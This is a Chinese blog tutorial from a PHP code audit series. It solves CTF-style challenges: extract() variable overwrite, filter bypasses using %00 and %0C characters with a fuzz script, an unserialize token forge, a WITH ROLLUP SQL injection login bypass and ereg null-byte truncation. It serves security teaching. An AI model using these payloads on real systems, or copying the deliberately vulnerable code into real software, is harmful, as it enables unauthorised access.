PHP代码审计系列(一)

PHP代码审计系列(一)

本系列将收集多个PHP代码安全审计项目从易到难,并加入个人详细的源码解读。此系列将进行持续更新。

extract变量覆盖

源码如下



$flag='extractFlag.txt'; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=trim(file_get_contents($flag));
	echo $content;
    if($shiyan==$content)
    { 
        echo'ctf{xxx}'; 
    }
   else
   { 
    echo'Oh.no';
   } 
   }

?>

在代码中主要使用了extract函数与file_get_contents函数

在RUNOOB给出的extract函数实例是:

将键值 “Cat”、“Dog” 和 “Horse” 赋值给变量 $a、$b 和 $c:


$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

运行结果

$a = Cat; $b = Dog; $c = Horse 

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

在RUNOOB给出的file_get_contents函数实例是:


echo file_get_contents("test.txt");
?> 

运行结果

This is a test file with test text. 

file_get_contents() 把整个文件读入一个字符串中。

该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

利用:

利用extract的语法特性使shiyan变量等于flag就可以了

http://localhost/phpbugs/01extract.php?shiyan=&flag
http://localhost/phpbugs/01extract.php?shiyan=&flag=1

绕过过滤的空白字符

源码如下


 
$info = ""; 
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
 
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
 
if(!isset($_GET['number'])){
   header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
 
   die("have a fun!!"); //die — 等同于 exit()
 
}
 
foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 
    foreach($global_var as $key => $value) { 
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    } 
} 
 
 
function is_palindrome_number($number) { 
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0; 
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 
 
 
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 
{
 
   $info="sorry, you cann't input a number!";
 
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
 
     $info = "number must be equal to it's integer!! ";  
 
}
else
{
 
     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  //字符串反转
 
     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }
     else
     {
 
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }
          else
          {
             $info=$flag;
          }
     }
 
}
 
echo $info;

通读代码逻辑如下

首先会判断提交的$_GET数组是否存在number字段,若不存在直接终止当前脚本

然后会遍历$_GET与$_POST数组,若value是字符串将对value进行处理后保存到$req数组

之后会判断提交的number是数字或数字字符串都会终止

判断number若不是整数则终止

接下来会取出number对应的字符串,如果字符串反转后不相等则终止

然后调用is_palindrome_number函数,从字符串的首尾进行遍历判断是否都相等

若不等则输出真正的flag

经过分析需要做其实一共就三件事:

1.绕过number数字判断并输入整数

2.成功通过字符串反转相等的校验

3.避开is_palindrome_number函数的相等校验

针对1我们可以利用%00截断符进行绕过

PHP代码审计系列(一)_第1张图片

针对2、3我们可以使用\f换页符(%0C)或者+(%2B)进行绕过

因为intval和is_numeric都会忽略这两个个字符,因为字符串首末遍历不相等又成功绕过is_palindrome_number

同时也可以写脚本fuzz出%0C或%2B进行绕过

import requests

for i in range(256):
    rq = requests.get("http://127.0.0.1/phpbugs/02.php?number=%s121"%("%00"+"%%%02X"%i))
    if 'x' in rq.text:
        print ("%%%02X" % i)

在这里插入图片描述

最后结果
PHP代码审计系列(一)_第2张图片

多重加密

ps:这题官方给的答案是错的,网上给的也是错的,麻烦别直接拿给的答案来抄好吗?大家不要被误导了

源码如下:


    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    //把一个或多个数组合并为一个数组
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }
        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            //函数执行一条 MySQL 查询。
            return @mysql_fetch_array($sql);
            //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
        }
    }

    if(isset($requset['token']))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值

        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?> 

通读代码逻辑如下:

首先是将$_GET,$_POST,$_SESSION,$_COOKIE合并为一个数组$request

然后有一个db类,它会判断类中的变量where是否为空,若不为空则调用select方法根据where条件进行查询user表返回一个数组

然后判断$request数组中是否有存在token,若不存在直接返回index.php报错,若存在则先对该值进行base64加密(base64_decode),再进行字符串压缩(gzuncompress),再进行反序列化(unserialize)最后赋值给$login

之后取出$_login中的user作为where条件user=$login[user]通过db的select进行查询结果赋值给$row

如果$login[user]与ichunqiu字符串完全相等则输出flag(成功结果),若$row[pass]不等于$login[pass]则输出反序列化失败,其他情况则输出一段字符串

需要我们做的其实就是:

反解密ichunqiu,然后提交token就可以了

网上的错误答案:



$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);

?>

麻烦自己打印下看看真的相等吗

print($arr['user'] === 'ichunqiu');

正确答案:



$login = array('user' => "ichunqiu");
$token = base64_encode(gzcompress(serialize($login)));
print($token);
echo '
'
; print($login['user'] === 'ichunqiu');

在这里插入图片描述

结果验证:

因为这题代码和数据库没给完整,为了验证结果简化代码如下


    $requset = array_merge($_GET);
	$flag = "xxxxxx";
   

    if(isset($requset['token']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?> 

错误答案获得的token

eJxLtDK0qs60MrBOAuJaAB5uBBQ=

在这里插入图片描述

正确答案获得的token

eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

在这里插入图片描述

SQL注入_WITH ROLLUP绕过

源码如下


error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '
'."
"
; echo ''."
"
; echo ''."
"
; echo ''."
"
; echo ''
."
"
; echo ''."
"
; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ //检测变量是否是数组 $StrValue=implode($StrValue); //返回由数组元素组合成的字符串 } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ //匹配成功一次后就会停止匹配 print "水可载舟,亦可赛艇!"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ //遍历数组 AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); //设置活动的 MySQL 数据库 $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); //执行一条 MySQL 查询 if (mysql_num_rows($query) == 1) { //返回结果集中行的数目 $key = mysql_fetch_array($query); //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "亦可赛艇!"; } }else{ print "一颗赛艇!"; } mysql_close($con); ?>

通读代码逻辑如下:

首先是写了一个表单POST提交uname与pwd

接下来遍历$_POST数组调用AttackFilter方法,传入key:value参数与filter

AttackFilter会首先判断传入的value是不是数组,若为数组则将多个元素合成一个字符串重新赋值给传入的value

然后对value进行正则匹配匹配规则为filter,如果匹配成功脚本停止

在之后会连接数据库,根据提交的uname进行查询

如果返回结果集中行的数目等于1,则返回从结果集取得的行生成的数组key

如果数组key中的pwd字段等于表单提交的pwd字段则获得flag其他情况均失败

我们需要做的其实就是:

1.绕过filter

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"

2.使表单提交的pwd等于查询到返回的pwd

SQL语句:

SELECT * FROM interest WHERE uname = '{$_POST['uname']}'

进行绕过

SELECT * FROM interest WHERE uname = 'admin' GROUP BY pwd WITH ROLLUP LIMIT 1 OFFSET 1-- -'

PHP代码审计系列(一)_第3张图片

也就是说使用以下语句登录用户时,密码为空就可以成功绕过

admin' GROUP BY pwd WITH ROLLUP LIMIT 1 OFFSET 1-- -'

PHP代码审计系列(一)_第4张图片

PHP代码审计系列(一)_第5张图片

此题需要了解的SQL主要是以下这段SQL

WITH ROLLUP LIMIT 1 OFFSET 1

首先是WITH ROLLUP,用在group up后会统计所有结果并返回NULL

PHP代码审计系列(一)_第6张图片

再看LIMIT 1 OFFSET 1,是取一条数据从第一条数据后开始取,也就是取第二条数据

PHP代码审计系列(一)_第7张图片

等同于LIMIT 1,1,但因为过滤了,所以用OFFSET来进行绕过

ereg正则%00截断

源码如下

 

$flag = "flag";

if (isset ($_GET['password'])) 
{
  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
  {
    echo '

You password must be alphanumeric

'
; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置 { die('Flag: ' . $flag); } else { echo('

*-* have not been found

'
); } } else { echo '

Invalid password

'
; } } ?>

通读代码逻辑如下:

首先判断是否存在GET请求的password字段,如果存在继续进行

然后对password进行正则匹配如果password是大小写字母或数字则进行否则输出停止

然后对password的长度进行判断,如果长度小于8数值大于9999999则继续进行

之后利用strops函数查找* - *在字符串中首次出现的位置,如果找到了则输出flag

我们需要做的:

1.password使用大小写字母及数字

2.password长度小于8 数值大于9999999

3.password中存在* - *

这里面的条件都是互相矛盾的,在满足1的条件下条件2用科学计数法1e7也就是10的7次方进行绕过。条件2利用ereg的00%截断符进行绕过,经过分析payload如下

?password=1e7%00*-*

PHP代码审计系列(一)_第8张图片

你可能感兴趣的:(从入门到入狱,php,开发语言,web安全,安全,后端)